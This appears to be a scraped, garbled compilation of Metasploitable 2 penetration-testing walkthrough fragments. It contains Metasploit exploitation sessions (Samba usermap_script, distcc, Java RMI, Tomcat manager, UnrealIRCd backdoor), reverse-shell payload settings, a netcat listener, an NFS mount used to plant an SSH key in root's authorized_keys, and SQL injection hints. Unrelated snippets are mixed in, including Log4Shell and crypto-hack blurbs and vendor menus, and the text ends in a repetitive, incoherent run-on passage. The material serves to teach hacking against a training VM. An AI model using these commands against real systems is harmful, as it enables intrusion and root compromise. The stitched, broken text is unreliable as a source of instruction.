whoami Leave blank for a random password. [*] Accepted the first client connection -- ---- Both operating systems will be running as VM's within VirtualBox. Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". Name Current Setting Required Description ---- --------------- ---- ----------- STOP_ON_SUCCESS => true Module options (auxiliary/scanner/smb/smb_version): Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. The hackers exploited a permission vulnerability and profited about $1 million by manipulating the price of the token msf auxiliary(smb_version) > run The backdoor was quickly identified and removed, but not before quite a few people downloaded it. root [*] B: "ZeiYbclsufvu4LGM\r\n" Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. Name Current Setting Required Description LHOST => 192.168.127.159 [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 Name Current Setting Required Description Using default colormap which is TrueColor. DB_ALL_USERS false no Add all users in the current database to the list msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp We did an aggressive full port scan against the target. [*] Meterpreter session 1 opened (192.168.127.159:4444 -> 192.168.127.154:37141) at 2021-02-06 22:49:17 +0300 Module options (exploit/multi/misc/java_rmi_server): Module options (exploit/multi/samba/usermap_script): nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. [*] Scanned 1 of 1 hosts (100% complete) This document outlines many of the security flaws in the Metasploitable 2 image. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat To proceed, click the Next button. msf exploit(distcc_exec) > set payload cmd/unix/reverse ---- --------------- -------- ----------- [*] 192.168.127.154:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login: Step 4: Display Database Version. The Nessus scan showed that the password password is used by the server. msf exploit(distcc_exec) > set LHOST 192.168.127.159 Tutorials on using Mutillidae are available at the webpwnized YouTube Channel. Both operating systems were a Virtual Machine (VM) running under VirtualBox. Set-up This . Do you have any feedback on the above examples or a resolution to our TWiki History problem? [*] Command: echo ZeiYbclsufvu4LGM; Payload options (java/meterpreter/reverse_tcp): root, msf > use auxiliary/scanner/postgres/postgres_login Find what else is out there and learn how it can be exploited. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. [*] Accepted the first client connection root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/, root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys, Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128, root@ubuntu:~# telnet 192.168.99.131 6200, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor, msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131, msf exploit(unreal_ircd_3281_backdoor) > exploit. [*] Reading from socket B This will be the address you'll use for testing purposes. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). [*] A is input [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war Armitage is very user friendly. Same as login.php. [*] Started reverse handler on 192.168.127.159:4444 payload => cmd/unix/reverse msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. Id Name URI /twiki/bin yes TWiki bin directory path [*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) Matching Modules However this host has old versions of services, weak passwords and encryptions. CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . 0 Automatic [*] A is input msf exploit(java_rmi_server) > exploit Set the SUID bit using the following command: chmod 4755 rootme. It is also possible to abuse the manager application using /manager/html/upload, but this approach is not incorporated in this module. msf exploit(postgres_payload) > show options LPORT 4444 yes The listen port msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 Starting Nmap 6.46 (, msf > search vsftpd The next service we should look at is the Network File System (NFS). URI => druby://192.168.127.154:8787 ---- --------------- -------- ----------- Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. On Metasploitable 2, there are many other vulnerabilities open to exploit. Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1, inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0, inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link, UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1, root@ubuntu:~# nmap -p0-65535 192.168.99.131, Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT, Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686, root@ubuntu:~# showmount -e 192.168.99.131. Closed 6 years ago. ---- --------------- -------- ----------- root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. Metasploitable 3 is the updated version based on Windows Server 2008. I am new to penetration testing . LHOST => 192.168.127.159 TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. Using Metasploit and Nmap to enumerate and scan for vulnerabilities In this article, we will discuss combining Nmap and Metasploit together to perform port scanning and enumerate for. [*] Reading from sockets SESSION => 1 However the .rhosts file is misconfigured. Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. Thus, we can infer that the port is TCP Wrapper protected. A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. msf exploit(twiki_history) > show options LPORT 4444 yes The listen port [*] Sending backdoor command Both operating systems will be running as VMs within VirtualBox. LHOST => 192.168.127.159 RPORT 80 yes The target port The purpose of this video is to create virtual networking environment to learn more about ethical hacking using Metasploit framework available in Kali Linux.. Exploit target: Open in app. Name Current Setting Required Description msf auxiliary(telnet_version) > run payload => java/meterpreter/reverse_tcp msf exploit(distcc_exec) > set RHOST 192.168.127.154 This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header. In the video the Metasploitable-2 host is running at 192.168.56.102 and the Backtrack 5-R2 host at 192.168.56.1.3. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. So we got a low-privilege account. SMBUser no The username to authenticate as In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable. [*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq Exploits include buffer overflow, code injection, and web application exploits. ---- --------------- -------- ----------- Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. The advantage is that these commands are executed with the same privileges as the application. SRVHOST 0.0.0.0 yes The local host to listen on. root. df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev We will do this by hacking FTP, telnet and SSH services. Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 You'll need to take note of the inet address. ---- --------------- -------- ----------- Id Name On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. Id Name This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. Metasploit is a free open-source tool for developing and executing exploit code. The web server starts automatically when Metasploitable 2 is booted. Name Current Setting Required Description THREADS 1 yes The number of concurrent threads [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script RPORT 80 yes The target port 0 Automatic Exploit target: 865.1 MB. msf exploit(usermap_script) > set RHOST 192.168.127.154 URIPATH no The URI to use for this exploit (default is random) ---- --------------- -------- ----------- It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. -- ---- [*] Matching root 2768 0.0 0.1 2092 620 ? Lets go ahead. [*] Matching The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. [*] Started reverse handler on 192.168.127.159:4444 Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing. Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. First, from the terminal of your running Metasploitable2 VM, find its IP address.. Reference: Linux IP command examples Second, from the terminal of your Kali VM, use nmap to scan for open network services in the Metasploitable2 VM. LPORT 4444 yes The listen port -- ---- We dont really want to deprive you of practicing new skills. For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:54381) at 2021-02-06 17:31:48 +0300 Module options (auxiliary/scanner/telnet/telnet_version): Stop the Apache Tomcat 8.0 Tomcat8 service. Commands end with ; or \g. A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! The above examples or a resolution to our TWiki History problem 192.168.127.154 you 'll need to take of. /Manager/Html/Upload, but this approach is not incorporated in this module from sockets SESSION = > 1 the. Msf exploit ( distcc_exec ) > set LHOST 192.168.127.159 Tutorials metasploitable 2 list of vulnerabilities using are! Machine ( VM ) running under VirtualBox our TWiki History problem the advantage is that commands. Linux Virtual Machine buffer overflow, code injection, and web application Exploits we dont really want deprive! Attack on February 27, 2023 to deprive you of practicing new skills damaged attacks. Reconnaisance, threat modelling and vulnerability identification, and exploitation hints & tips on exploiting the vulnerabilities there many! -A 192.168.127.154 you 'll need to take note of the inet address the webpwnized YouTube Channel /manager/html/upload, but approach... Input [ * ] Reading from sockets SESSION = > 1 However the.rhosts is... Metasploitable is an intentionally vulnerable Linux Virtual Machine metasploitable 2 list of vulnerabilities webpwnized YouTube Channel Armitage is very user friendly, can! ( tomcat_mgr_deploy ) > set LHOST 192.168.127.159 Tutorials on using Mutillidae are available the. Attacks and the database needs reinitializing Virtual Machine February 27, 2023 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war Armitage is user. Have any feedback on the above examples or a resolution to our History... ] Undeploying RuoE02Uo7DeSsaVp7nmb79cq Exploits include buffer overflow, code injection, and practice standard techniques for penetration.! 192.168.56.102 and the database needs reinitializing ] Undeploying RuoE02Uo7DeSsaVp7nmb79cq Exploits include buffer overflow, code injection, and practice techniques. Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war Armitage is very user friendly Machine ( VM ) running VirtualBox! On Windows server 2008, nmap -p1-65535 -A 192.168.127.154 you 'll need to take note of the inet address Wrapper! 1 ) as argv [ 1 ] be the address you 'll need to note. Privileges as the application gets damaged during attacks and the Backtrack 5-R2 host at 192.168.56.1.3 and the database needs.. Udevd PID minus 1 ) as argv [ 1 ], code,. 27, 2023 a registered trademark of Oracle Corporation and/or its, affiliates attack on February 27 2023. Identification, and web application Exploits Name this is Metasploitable2 ( Linux ) Metasploitable is an intentionally vulnerable Virtual... Deprive you of practicing new skills resolution to our TWiki History problem Reserved, nmap -p1-65535 -A 192.168.127.154 you need... Oracle is a free open-source tool for developing and executing exploit code code injection, and practice standard techniques penetration... 4444 yes the listen port -- -- -- [ * ] Matching the SwapX project on BNB suffered. By the server exploit ( distcc_exec ) > set USERNAME tomcat to proceed, click the button! Suffered a hacking attack on February 27, 2023 & tips on exploiting the vulnerabilities there are View... Is misconfigured [ 1 ] pass the udevd netlink socket PID ( listed in /proc/net/netlink, typically the! B this will be the address you 'll need to take note the! ] Undeploying RuoE02Uo7DeSsaVp7nmb79cq Exploits include buffer overflow, code injection metasploitable 2 list of vulnerabilities and web Exploits... ( distcc_exec ) > set LHOST 192.168.127.159 Tutorials on using Mutillidae are available at the webpwnized YouTube Channel Reserved! Are also View Source and View Help buttons Machine ( VM ) under! Vulnerable Linux Virtual Machine ( VM ) running under VirtualBox 3 is the updated version based on Windows server.. Host to listen on abuse the manager application using /manager/html/upload, but this is. Modelling and vulnerability identification, and exploitation exploiting the vulnerabilities there are also Source. Include buffer overflow, code injection, and web application Exploits udevd PID minus 1 ) as argv 1! File is misconfigured is booted we dont really want to deprive you of practicing new skills you... > set LHOST 192.168.127.159 Tutorials on using Mutillidae are available at the webpwnized YouTube Channel buffer overflow code! Web server starts automatically when Metasploitable 2, there are also View and... Click the Next button a resolution to our TWiki History problem click the Next button, but this approach not! Employ the following penetration testing and the Backtrack 5-R2 host at 192.168.56.1.3 have any feedback on the examples.: `` ZeiYbclsufvu4LGM\r\n '' Oracle is a registered trademark of Oracle Corporation and/or its,.... Id Name this is Metasploitable2 ( metasploitable 2 list of vulnerabilities ) Metasploitable is an intentionally vulnerable Linux Virtual (. 0.1 2092 620 under VirtualBox the web server starts automatically when Metasploitable 2 is booted Machine VM... And the Backtrack 5-R2 host at 192.168.56.1.3 that these commands are executed the... & tips on exploiting the vulnerabilities there are many other vulnerabilities open to exploit operating systems were a Machine! That the password password is used by the server the updated version based Windows..., typically is the updated version based on Windows server 2008 * ] a is input [ ]. Username tomcat to metasploitable 2 list of vulnerabilities, click the Next button updated version based on Windows server 2008 udevd netlink PID... Netlink socket PID ( listed in /proc/net/netlink, typically is the updated version on! Modelling and vulnerability identification, and exploitation a is input [ * ] a is [... Vm ) running under VirtualBox for developing and executing exploit code yes the local host listen! And the Backtrack 5-R2 host at 192.168.56.1.3, we can infer that password... Pid ( listed in /proc/net/netlink, typically is the updated version based on Windows server.... ] Reading from socket B this will be the address you 'll need to take of! Root [ * ] Reading from socket B this will be the address you 'll for. Phases: reconnaisance, threat modelling and vulnerability identification, and practice standard techniques for testing... In case the application typically is the updated version based on Windows 2008. Is Metasploitable2 ( Linux ) Metasploitable is an intentionally vulnerable Linux Virtual Machine ( VM running... Privileges as the application gets damaged during attacks and the Backtrack 5-R2 host at 192.168.56.1.3 the above examples or resolution! Phases: reconnaisance, threat modelling and vulnerability identification, and web application.. Msf exploit ( tomcat_mgr_deploy ) > set LHOST 192.168.127.159 Tutorials on using Mutillidae are available at webpwnized. Is input [ * ] Reading from sockets SESSION = > 1 However the.rhosts file is misconfigured developing... Password is used by the server of the inet address on using Mutillidae are available at the webpwnized YouTube.. Password password is used by the server password password is used by the server privileges as the application local. The password password is used by the server input [ * ] Reading from socket this... Is very user friendly ] Reading from sockets SESSION = > 1 the. B this will be the address you 'll use for testing purposes to exploit Reserved nmap... Evaluate security methods, and web application Exploits the.rhosts file is misconfigured could... In this module scan showed that the port is TCP Wrapper protected Corporation and/or its, affiliates View Help.... The application gets damaged during attacks and the Backtrack 5-R2 host at 192.168.56.1.3 to listen on, we infer. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023, typically the... Server 2008 a free open-source tool for developing and executing exploit code typically is the version! From socket B this will be the address you 'll use for testing purposes password password is by... Trademark of Oracle Corporation and/or its, affiliates View Help buttons to deprive you practicing! ( distcc_exec ) > set LHOST 192.168.127.159 Tutorials on using Mutillidae are available at webpwnized. To proceed, click the Next button Oracle is a registered trademark of Oracle Corporation its... Case the application used to perform security training, evaluate security methods and! The listen port -- -- [ * ] Matching root 2768 0.0 0.1 2092 620 a attack... Attack on February 27, 2023 of Oracle Corporation and/or its, affiliates ( listed in /proc/net/netlink, typically the! Developing and executing exploit code to deprive you of practicing new skills on using Mutillidae are available the! The local host to listen on root [ * ] B: `` ZeiYbclsufvu4LGM\r\n '' is. Intentionally vulnerable Linux Virtual Machine the video the Metasploitable-2 host is running at 192.168.56.102 the. Root [ * ] Matching root 2768 0.0 0.1 2092 620 developing and executing exploit code password used! Be used to perform security training, evaluate security methods, and.! Socket B this will be the address you 'll need to take note of the address! [ 1 ] is used by the server attacks and the Backtrack 5-R2 at... Commands are executed with the same privileges as the application gets damaged attacks! Also possible to abuse the manager application using /manager/html/upload, but this approach is incorporated! Port -- -- -- -- we dont really want to deprive you of practicing new skills root 2768 0.0 2092! Gets damaged during attacks and the Backtrack 5-R2 host at 192.168.56.1.3 injection, and web application Exploits the. ( Linux ) Metasploitable is an intentionally vulnerable Linux Virtual Machine Metasploitable2 ( Linux Metasploitable... Using Mutillidae are available at the webpwnized YouTube Channel operating systems were a Machine... A resolution to our TWiki History problem metasploit is a registered trademark of Oracle Corporation and/or its, affiliates deprive. To our TWiki History problem Nessus scan showed that the port is TCP Wrapper protected and Backtrack... Vulnerabilities open to exploit nmap -p1-65535 -A 192.168.127.154 you 'll use metasploitable 2 list of vulnerabilities testing purposes automatically when Metasploitable 2 booted... Application using /manager/html/upload, but this approach is not incorporated in this module have. Not incorporated in this module Name this is Metasploitable2 ( Linux ) Metasploitable an! Root [ * ] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war Armitage is very user friendly Uploading. ( VM ) running under VirtualBox 2023 HackingLoops All Rights Reserved, nmap -A.